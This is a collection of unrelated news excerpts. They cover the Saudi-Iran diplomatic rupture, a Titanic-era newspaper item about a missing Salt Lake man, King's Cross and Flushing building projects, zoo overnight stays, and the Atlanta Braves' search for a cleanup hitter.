A weekend war of words has ignited a full-scale diplomatic confrontation between Saudi Arabia and Iran, pitting Sunnis against Shiites and Persians against Arabs. Saudi Arabia's execution of a prominent Shiite cleric touched off widespread protests, condemnation and violent backlash in Iran, prompting Saudi Arabia and its allies to announce they are cutting ties with that nation. Judy Woodruff reports. Continue reading
The American airstrike that may have killed a number of Iraqi soldiers on Friday seems to be "a mistake that involved both sides," U.S. Defense Secretary Ash Carter said Saturday. Iraq pledged to punish those responsible. Continue reading
In our news wrap Tuesday, the death toll of the Nepal earthquake rose to more than 4,600 and aid workers continue to look for survivors. Also, officials say they thwarted a suicide bombing attack on the U.S. embassy in Riyadh, Saudi Arabia. The suspected terror plotters allegedly had ties to the Islamic State group. Continue reading
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The Salt Lake Tribune, Salt Lake City
W. H. Hyter Thought to Have Been Victim of the Titanic Disaster
That W. H. Hyter, a former Salt Laker, perished when the Titanic sank while
on his way to this city to visit his mother, Mrs. Lee Chamberlain, 409 South
Fourth East street, is the belief of Mrs. Chamberlain. She bases her fears
on the fact that one of the bodies recovered from the sea by the steamer
Mackay-Bennett is reported as that of A. H. Hyter, and on her own knowledge
that her son had intended to return to America recently.
Mr. Hyter left Salt Lake ten years ago and has wandered over the face of the
earth since then. Mrs. Chamberlain received word several months ago that he
would leave Brazil as soon as he could arrange his affairs and would return
to America after a trip to England. Hyter went to South America
in the employ of A. W. McCune of this city After five years in Peru he
joined a corps of engineers employed on the Panama canal operations. From
Panama he went to the East Indies, and from there to Brazil. So far as Mrs.
Chamberlain his been able to learn her son left Brazil soon after the first
of the year, bound, presumably, for England. She has forwarded a complete
description of her son to the White Star line oflices in New York with
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Alumnus, Doctor, and Lawyer Nick Martinez Asks Cooley Students to Exceed Ethical, Professional Standards
June 26, 2012 - On Monday, June 18, 2012, the Cooley Law School's Tampa Bay campus welcomed Cooley alumnus, doctor, and lawyer, Nick Martinez, as the Trinity Term 2012 Integrity in Our Communities speaker. This lecture series offers the campus community an opportunity to hear from legal professionals who share their experiences on the topics of ethics, service, and professionalism.
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The cultural centre of more than 100,000 square feet is likely to be built on a plot to the north of, and across an open square from, the University of the Arts. A university of similar size will be built on nearby land, currently reserved for offices. The two projects are among five, totalling half a million square feet, now being commissioned by the Network at King's Cross.
Student accommodation, shops, and offices for the Aga Khan Foundation are being planned. The architects for these three projects have yet to be announced.
"We can confirm that preliminary design studies are under way," said a spokesman, refusing to confirm the Maki commissions. "We will be moving towards formal appointments shortly."
Last summer, the development partnership building King's Cross signed a deal with the 75-year-old Aga Khan, announcing: "The agreements provide for the Aga Khan Development Network and King's Cross Central to work closely together in the design and construction of each building, which will include educational, office, cultural, retail and residential uses.
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The 14-story affordable housing building proposed by Macedonia AME Church will begin its rise over downtown Flushing next month, but parking provisions did not go according to plan.
On April 5, the construction company BRP Cos. that is building the church is set to erect a fence around the project site and stick a shovel in the ground two to three weeks later.
"It's been a very, very long time in the planning of this project," Geoff Flournoy, managing partner at BRP Cos., said at a recent meeting.
The project will go up on a 30,140-square-foot section of Municipal Lot 1 directly north of the church. The lot will be sold to the church at what city officials called a "nominal price," while community leaders said that lot is being given to the church.
Macedonia Plaza will be home to 143 units of affordable housing, retail space on the ground floor along Union Street, a day care center and gated green space, according to the city Department of Housing, which is giving a property tax break to the developer as part of a city initiative to spur economic revival.
In order to minimize the impact of construction on the community, BRP Cos. said it will perform most of the work from the back of the building, which will also be LEED-certified. To comply with city safety regulations, no parking will be allowed on either side of Union Street or 37th Avenue on that block. In addition, the 37th Avenue entrance of the parking lot will be closed.
The structure, being built by BRP and Macedonia AME Development Corp., was initially supposed to be started after another, larger development got off the ground.
Flushing Commons, an $850 million proposed mixed-use project that would take up the rest of Municipal Lot 1, was set to be developed before Macedonia Plaza, according to the Rev. Richard McEachern, of the church.
"The intent was for Flushing Commons to start first, then the AME go second," McEachern said at a meeting. "But if I may, as God would have it, Macedonia Plaza is now going first."
But the switch negates the way parking was supposed to be provided.
The church's plan, which called for no parking at Macedonia Plaza, was approved by Community Board 7 and Borough President Helen Marshall before the Department of City Planning gave the green light.
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NEW YORK (Reuters Life!) - For wild animal lovers not content with watching tigers and gorillas during the day, a growing number of zoos are offering a more thrilling after-dark experience -- overnight stays.
From Philadelphia to Denver nocturnal visitors are learning what happens when the gates slam shut, the sun goes down and the moon rises over some of America's most well-known zoos.
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LAKE BUENA VISTA, Fla. -- There's a hole in the middle of the Atlanta Braves lineup and no big bopper to fill it.
With the departure of Andres Galarraga, only Chipper Jones among the eight regulars has produced a 40-homer season. None of the hitters has ever driven in more than 115 runs.
Do the Braves need a legitimate cleanup hitter? No, manager Bobby Cox says.
''Big boppers are great and Andres Galarraga was certainly very important to our lineup, but a guy like Rico (Brogna) is a more balanced hitter who can win games all kinds of ways,'' he said.
Even with a mediocre second half last season, Galarraga drove in 100 runs. In 1998, he hit 44 home runs and drove in 121 runs. More importantly, he was a presence in the middle of the lineup, a hitter who struck fear into the hearts of pitchers, who could win a game with one swing of his bat.
It's that presence the Braves are missing. Jones, by his own admission, is no cleanup hitter. Jordan drove in 115 runs two years ago as the No. 4 hitter, but he's a gap hitter and not a home run threat. Brogna? Andruw Jones? B.J. Surhoff? Not a big bopper among them.
Cox hasn't decided yet how to structure the lineup. He's been tinkering all spring, using a variety of hitters in the cleanup spot.
He might use Chipper Jones there and move Andruw Jones to the No. 3 hole, or keep Chipper Jones at No. 3 and insert Surhoff or Jordan into the cleanup slot.
''I've been talking to the coaches for two straight days about our lineup,'' Cox said. ''We'll get one in the next few days and see what it looks like.''
There's an argument to be advanced for the Braves having a more productive lineup without Galarraga. While he was a home run threat, he also struck out frequently last season, a club-leading 126 times to be exact, and bounced into 15 double plays. A lineup filled with gap hitters and run producers is an enticing idea following the wind machine that was Galarraga's bat.
''There's a couple of schools of thought as far as how lineups go,'' Brogna said. ''The first is, you have a couple of big boppers in the middle and a lot of guys around them who can get on base. The second is, you have a lot of guys who hit doubles and can occasionally hit the long ball.''
Brogna favors a less powerful, but more balanced lineup. The Braves' lineup reminds him of the lineup the Phillies used two years ago to score 841 runs. Last year the Braves scored 810 runs.
''A couple of years ago we had one of the top offenses in the National League, but we didn't have a 40-homer, 140-RBI guy,'' he said.
''It wasn't necessarily small ball, but a balanced lineup can play to situations a lot better. You're going to be more consistent throughout the season.''
The Braves won't break team home run records this season, but the lineup will be better balanced than it's been in many years. The big bopper is missing, but six of the eight hitters have produced 100 RBI seasons, all within the last three years.
Cox won't make a final decision on a cleanup hitter for another week or so, but it's not keeping him up at night.
''I think we can put too much emphasis on where people hit,'' he said. ''You can put them anywhere and if they hit, you win, simple as that.''
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